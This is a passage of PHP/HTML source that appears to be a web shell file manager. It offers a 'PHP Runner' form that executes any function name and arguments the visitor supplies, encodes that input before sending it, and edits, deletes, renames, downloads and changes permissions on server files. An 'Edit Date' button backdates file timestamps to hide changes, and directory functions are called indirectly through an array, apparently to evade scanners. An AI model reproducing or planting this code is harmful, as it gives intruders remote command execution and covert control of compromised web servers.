<button onclick="md('mf')" class="h-8 px-2.5 flex items-center justify-center gap-1.5 bg-white text-zinc-700 border border-zinc-200 rounded shadow-sm hover:bg-zinc-50 hover:border-zinc-300 hover:text-zinc-900 active:bg-zinc-100 transition-all text-[10px] font-medium whitespace-nowrap">
<i class="ph-bold ph-file-plus text-xs"></i> <span>File</span>
</button>
</div>
</div>
</div>
<div class="group relative bg-[#18181b] rounded-lg overflow-hidden border border-zinc-800 shadow-md flex flex-col">
<div class="bg-[#27272a] px-3 py-1.5 flex items-center justify-between border-b border-zinc-700">
<div class="flex items-center gap-2">
<i class="ph-fill ph-terminal text-zinc-400 text-xs"></i>
<span class="text-[10px] font-mono text-zinc-400 uppercase tracking-wider">PHP Runner (<?php echo phpversion(); ?>)</span>
</div>
<div class="flex gap-1.5">
<div class="w-2 h-2 rounded-full bg-red-500/50"></div>
<div class="w-2 h-2 rounded-full bg-yellow-500/50"></div>
<div class="w-2 h-2 rounded-full bg-green-500/50"></div>
</div>
</div>
<form method="post" action="<?php echo htmlspecialchars($sp1); ?>" onsubmit="document.getElementById('hx').value=en('<?php echo addslashes($b1); ?>'); fr_save();" class="flex items-center px-3 py-2 gap-2 border-b border-zinc-800 m-0">
<input type="hidden" name="x" id="hx" value="">
<span class="text-green-500 font-mono font-bold">$</span>
<input type="text" id="fi" name="cmd_func" value="" onkeydown="if(event.key==='Enter'){event.preventDefault();document.getElementById('gi').focus();}" class="w-20 bg-transparent text-blue-400 font-mono text-xs focus:outline-none placeholder-zinc-500" placeholder="func" autocomplete="on">
<input type="text" id="gi" name="cmd_args" value="" class="flex-1 bg-transparent text-zinc-300 font-mono text-xs focus:outline-none placeholder-zinc-500" placeholder="args" autocomplete="on">
<button type="submit" class="text-zinc-500 hover:text-white font-mono text-[10px] uppercase border border-zinc-700 px-2 py-0.5 rounded hover:bg-zinc-800 transition-colors">Run</button>
</form>
<?php if ($fr): ?>
<div class="bg-[#18181b] p-3 overflow-x-auto border-t border-zinc-700">
<pre class="font-mono text-[10px] text-zinc-400 leading-relaxed whitespace-pre-wrap"><?php echo htmlspecialchars($fr); ?></pre>
</div>
<?php
endif; ?>
</div>
<div class="flex flex-wrap items-center gap-1 text-[11px] font-medium text-zinc-700 px-1">
<i class="ph-fill ph-hard-drives text-zinc-500 mr-1"></i>
<?php
$sp = (strpos($b1, '/') !== false) ? '/' : '\\';
$pt = explode($sp, $b1);
$bd = '';
if (strpos($b1, $sp) === 0)
{
$bd = $sp;
echo '<a onclick="pf(\'/\')" class="hover:text-black hover:bg-zinc-200 px-1.5 py-0.5 rounded cursor-pointer transition-colors">root</a>';
}
foreach ($pt as $i => $p)
{
if ($p === '') continue;
$bd .= $p . $sp;
$t = substr($bd, 0, -1);
if ($i == 0 && strpos($p, ':')) $t = $p . $sp;
echo '<span class="text-zinc-400">/</span> <a onclick="pf(\'' . addslashes($t) . '\')" class="hover:text-black hover:bg-zinc-200 px-1.5 py-0.5 rounded cursor-pointer transition-colors">' . htmlspecialchars($p) . '</a>';
}
?>
</div>
<?php if ($ed): ?>
<div class="bg-surface border border-zinc-200 rounded-lg shadow-lg overflow-hidden flex flex-col h-[75vh] min-h-[600px] mb-10">
<div class="bg-zinc-50 border-b border-zinc-200 px-4 py-2.5 flex flex-wrap sm:flex-nowrap justify-between items-center gap-3">
<div class="flex items-center gap-3 min-w-0">
<div class="flex items-center gap-2 text-zinc-600 font-mono text-xs">
<i class="ph-bold ph-file-text"></i>
<span class="font-semibold text-zinc-800 truncate max-w-[150px] sm:max-w-[300px]" title="<?php echo htmlspecialchars($fi_name); ?>"><?php echo htmlspecialchars($fi_name); ?></span>
<span class="bg-white border border-zinc-200 px-1.5 py-0.5 rounded shadow-sm text-zinc-600 text-[9px]"><?php echo $fi_sz; ?></span>
</div>
<?php if ($m): ?>
<span class="px-2 py-0.5 rounded text-[10px] font-medium <?php echo $es ? 'bg-green-100 text-green-700' : 'bg-red-100 text-red-700'; ?> flex-shrink-0"><?php echo $m; ?></span>
<?php
endif; ?>
</div>
<div class="flex items-center gap-2 sm:gap-3 ml-auto sm:ml-0 overflow-x-auto scrollbar-none">
<div class="flex gap-0.5 border-r border-zinc-200 pr-2 sm:pr-3 shrink-0">
<button type="button" onclick="ph('<?php echo addslashes($fi_name); ?>','<?php echo $fi_o; ?>')" class="w-7 h-7 flex items-center justify-center text-zinc-400 hover:text-zinc-800 hover:bg-zinc-200 rounded transition-colors" title="Permissions"><i class="ph-bold ph-lock-key"></i></button>
<button type="button" onclick="pr('<?php echo addslashes($fi_name); ?>')" class="w-7 h-7 flex items-center justify-center text-zinc-400 hover:text-zinc-800 hover:bg-zinc-200 rounded transition-colors" title="Rename"><i class="ph-bold ph-pencil-simple"></i></button>
<button type="button" onclick="pt('<?php echo addslashes($fi_name); ?>','<?php echo $fi_mtime; ?>')" class="w-7 h-7 flex items-center justify-center text-zinc-400 hover:text-zinc-800 hover:bg-zinc-200 rounded transition-colors" title="Edit Date"><i class="ph-bold ph-calendar"></i></button>
<button type="button" onclick="dl('<?php echo addslashes($fi_name); ?>')" class="w-7 h-7 flex items-center justify-center text-zinc-400 hover:text-zinc-800 hover:bg-zinc-200 rounded transition-colors" title="Download"><i class="ph-bold ph-download-simple"></i></button>
<button type="button" onclick="pd('<?php echo addslashes($fi_name); ?>')" class="w-7 h-7 flex items-center justify-center text-zinc-400 hover:text-red-600 hover:bg-red-50 rounded transition-colors" title="Delete"><i class="ph-bold ph-trash"></i></button>
</div>
<div class="flex bg-zinc-200/50 p-0.5 rounded-md shrink-0">
<button type="button" id="btn-mode-view" onclick="setMode('view')" class="px-3 py-1 text-[10px] font-bold uppercase rounded text-zinc-500 hover:text-zinc-900 transition-all">View</button>
<button type="button" id="btn-mode-edit" onclick="setMode('edit')" class="px-3 py-1 text-[10px] font-bold uppercase rounded bg-white shadow-sm text-zinc-900 transition-all">Edit</button>
</div>
<div class="flex gap-2 ml-1 shrink-0">
<button type="button" onclick="g('<?php echo addslashes($b1); ?>')" class="px-3 py-1.5 rounded-md text-zinc-500 hover:bg-zinc-200 text-xs font-medium transition-colors">Close</button>
<button type="button" id="btn-save" onclick="sf()" class="px-3 py-1.5 bg-zinc-900 text-white rounded-md hover:bg-zinc-800 text-xs font-medium shadow-sm transition-transform active:scale-95">Save</button>
</div>
</div>
</div>
<div class="bg-zinc-50 border-b border-zinc-200 px-4 py-2 flex flex-wrap gap-x-6 gap-y-1.5 text-[10px] font-mono text-zinc-500 items-center select-text">
<div class="flex items-center gap-1.5 whitespace-nowrap"><span class="text-zinc-400">Perm:</span> <span class="<?php echo ($fi_pc == 'g' ? 'text-green-600' : ($fi_pc == 'y' ? 'text-zinc-700' : 'text-red-600')); ?> font-medium"><?php echo $fi_perms; ?></span> <span class="<?php echo ($fi_pc == 'g' ? 'text-green-500' : ($fi_pc == 'y' ? 'text-zinc-400' : 'text-red-400')); ?>">(<?php echo $fi_o; ?>)</span></div>
<div class="flex items-center gap-1.5 whitespace-nowrap"><span class="text-zinc-400">User:</span> <span class="text-zinc-700 font-medium truncate max-w-[120px]" title="<?php echo $fi_og; ?>"><?php echo $fi_og; ?></span></div>
<div class="w-px h-3 bg-zinc-300 mx-0.5 hidden sm:block"></div>
<div class="flex items-center gap-1.5 whitespace-nowrap"><span class="text-zinc-400">Created:</span> <span class="text-zinc-700 font-medium"><?php echo $fi_ctime; ?></span></div>
<div class="flex items-center gap-1.5 whitespace-nowrap"><span class="text-zinc-400">Modified:</span> <span class="text-zinc-700 font-medium"><?php echo $fi_mtime; ?></span></div>
<div class="flex items-center gap-1.5 whitespace-nowrap"><span class="text-zinc-400">Accessed:</span> <span class="text-zinc-700 font-medium"><?php echo $fi_atime; ?></span></div>
</div>
<div class="flex-1 overflow-hidden relative bg-white">
<input type="hidden" id="edp" value="<?php echo htmlspecialchars($ef); ?>">
<textarea id="edc" class="w-full h-full p-4 font-mono text-xs text-zinc-800 focus:outline-none resize-none leading-relaxed" spellcheck="false"><?php echo htmlspecialchars($ec, ENT_QUOTES, $ib ? 'ISO-8859-1' : 'UTF-8'); ?></textarea>
<pre id="edv" class="hidden w-full h-full p-4 font-mono text-xs text-zinc-800 overflow-auto whitespace-pre-wrap break-all leading-relaxed bg-zinc-50"></pre>
</div>
</div>
<?php
else: ?>
<div id="pb" class="hidden bg-[#18181b] border border-zinc-800 rounded-lg shadow-md px-3 py-2.5 flex flex-wrap items-center gap-2 sm:gap-3">
<div class="flex items-center gap-2.5 min-w-0 flex-1">
<div class="w-1.5 h-1.5 rounded-full bg-green-400 shadow-[0_0_6px_rgba(74,222,128,0.4)] flex-shrink-0"></div>
<span id="pbt" class="text-[11px] text-zinc-300 font-medium truncate"></span>
</div>
<div class="flex items-center gap-2 flex-shrink-0">
<button onclick="cbPa()" class="h-7 px-3 bg-white text-zinc-900 rounded text-[10px] font-bold hover:bg-zinc-100 transition-colors shadow-sm flex items-center gap-1.5"><i class="ph-bold ph-clipboard text-[9px]"></i>Paste</button>
<button onclick="cbClr()" class="h-7 px-3 text-zinc-400 hover:text-zinc-200 border border-zinc-700 rounded text-[10px] font-medium hover:bg-zinc-800 transition-colors">Clear</button>
</div>
</div>
<div class="bg-white border border-zinc-200 rounded-lg shadow-sm overflow-hidden flex flex-col">
<div class="overflow-x-auto">
<table class="w-full text-left border-collapse text-[9px]">
<thead class="bg-zinc-50 border-b border-zinc-200">
<tr>
<th class="w-8 px-3 py-2 text-center border-r border-zinc-100">
<input type="checkbox" onchange="ts(this)" class="w-3.5 h-3.5 rounded-[3px] border-zinc-300 text-zinc-900 focus:ring-0 focus:ring-offset-0 focus:border-zinc-900 transition-all cursor-pointer bg-white checked:bg-zinc-900 checked:border-zinc-900">
</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider w-1/3 border-r border-zinc-100">Name</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider text-right w-20 border-r border-zinc-100">Size</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider w-32 border-r border-zinc-100 whitespace-nowrap">Date</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider text-center w-20 border-r border-zinc-100">Perm</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider w-32 border-r border-zinc-100">Owner/Group</th>
<th class="px-3 py-2 font-semibold text-zinc-600 text-[9px] uppercase tracking-wider text-right w-24">Actions</th>
</tr>
</thead>
<tbody class="divide-y divide-zinc-200">
<?php
$tr_class = 'class="group hover:bg-zinc-50 transition-colors"';
if ($pg == 1)
{
?>
<tr class="group hover:bg-zinc-50 transition-colors cursor-pointer" onclick="g('<?php echo addslashes($a2[15]($b1)); ?>')">
<td class="px-3 py-2 border-r border-zinc-50 group-hover:border-zinc-100"></td>
<td class="px-3 py-2" colspan="6">
<div class="flex items-center gap-2 text-zinc-400 group-hover:text-zinc-800 transition-colors">
<i class="ph-bold ph-arrow-u-up-left text-sm"></i>
<span class="font-medium text-[11px]">.. (Parent)</span>
</div>
</td>
</tr>
<?php
}
$ds = array();
$fs = array();
if ($d = @$a2[3]($b1))
{
while (($i = @$a2[4]($d)) !== false)
{
if ($i == '.' || $i == '..') continue;
$p = $b1 . DIRECTORY_SEPARATOR . $i;
if (@$a2[7]($p)) $ds[] = $i;
else $fs[] = $i;
}
@$a2[5]($d);
}
natsort($ds);
natsort($fs);
$all = array();
foreach ($ds as $i) $all[] = array(
't' => 'd',
'n' => $i
);
foreach ($fs as $i) $all[] = array(
't' => 'f',
'n' => $i
);